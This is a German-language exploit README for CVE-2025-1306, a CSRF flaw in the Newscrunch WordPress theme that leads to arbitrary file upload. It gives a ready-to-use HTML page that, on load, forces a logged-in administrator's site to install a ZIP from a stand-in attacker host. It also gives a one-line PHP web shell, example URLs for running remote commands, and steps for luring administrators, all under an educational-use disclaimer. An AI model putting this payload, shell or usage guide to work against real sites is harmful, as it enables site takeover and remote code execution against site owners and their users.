Newscrunch Exploit (CVE-2025-1306)

🚨 Übersicht

Dieser Exploit zielt auf eine Cross-Site Request Forgery (CSRF) zu beliebigem Datei-Upload-Schwachstelle (CVE-2025-1306) im Newscrunch WordPress-Theme ab. Aufgrund fehlender Nonce-Überprüfung in der Funktion newscrunch_install_and_activate_plugin() kann ein nicht authentifizierter Angreifer einen eingeloggten Administrator dazu verleiten, beliebige Dateien auf den Server hochzuladen, was zu Remote Code Execution (RCE) führt.

🔥 Schwachstellendetails

CVE-ID: CVE-2025-1306
Betroffene Software: Newscrunch WordPress-Theme (<= 1.8.4)
CWE-Klassifizierung: CWE-352 – Cross-Site Request Forgery (CSRF)
CVSS-Score: 8.8 (HOCH)
Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Veröffentlichungsdatum: 4. März 2025

🛑 Schweregrad & Auswirkungen

✅ Remote Code Execution (RCE)
✅ Vollständige Systemkompromittierung
✅ CSRF-basierter beliebiger Datei-Upload
✅ Nicht authentifizierter Angriffsvektor

Ausnutzbarkeit: Erfordert, dass ein Administrator einen manipulierten bösartigen Link besucht.

📜 Exploit-Code

Dieser Exploit zwingt einen authentifizierten Administrator, einen CSRF-Angriff auszuführen, der eine bösartige ZIP-Datei mit einer Web-Shell hochlädt.

🔹 PoC – HTML-Exploit

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Exploit CVE-2025-1306 By Nxploit ,Khaled AlEnazi</title>
</head>
<body>
    <h2>Click anywhere to load content...</h2>

    <script>
        function sendExploit() {
            var form = document.createElement("form");
            form.method = "POST";
            form.action = "http://target.com/wp-admin/admin-ajax.php?action=newscrunch_install_activate_plugin";

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "plugin_url";
            input.value = "http://attacker.com/shell.zip";

            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }

        
        window.onload = function() {
            sendExploit();
        };
    </script>
</body>
</html>

📌 Ersetzen:

http://target.com/ durch die verwundbare WordPress-Seite
http://attacker.com/shell.zip durch eine bösartige ZIP-Nutzlast mit einer Web-Shell.

🔹 Beispiel für bösartige PHP-Shell

<?php system($_GET['cmd']); ?>

📌 Nach erfolgreicher Ausnutzung greifen Sie auf die Shell zu:

http://target.com/wp-content/plugins/shell.php?cmd=whoami

🚀 Verwendung

Hosting der HTML-Datei auf einer vom Angreifer kontrollierten Website.
Senden Sie den bösartigen Link an einen authentifizierten WordPress-Administrator.
Sobald der Admin die Seite besucht, wird die Shell automatisch hochgeladen.

Führen Sie Befehle remote aus mit:

http://target.com/wp-content/plugins/shell.php?cmd=ls

⚠️ Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Die unbefugte Ausnutzung von Schwachstellen ist illegal und strafbar. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Verwenden Sie es verantwortungsbewusst.

CVE-2025-1306

Beliebteste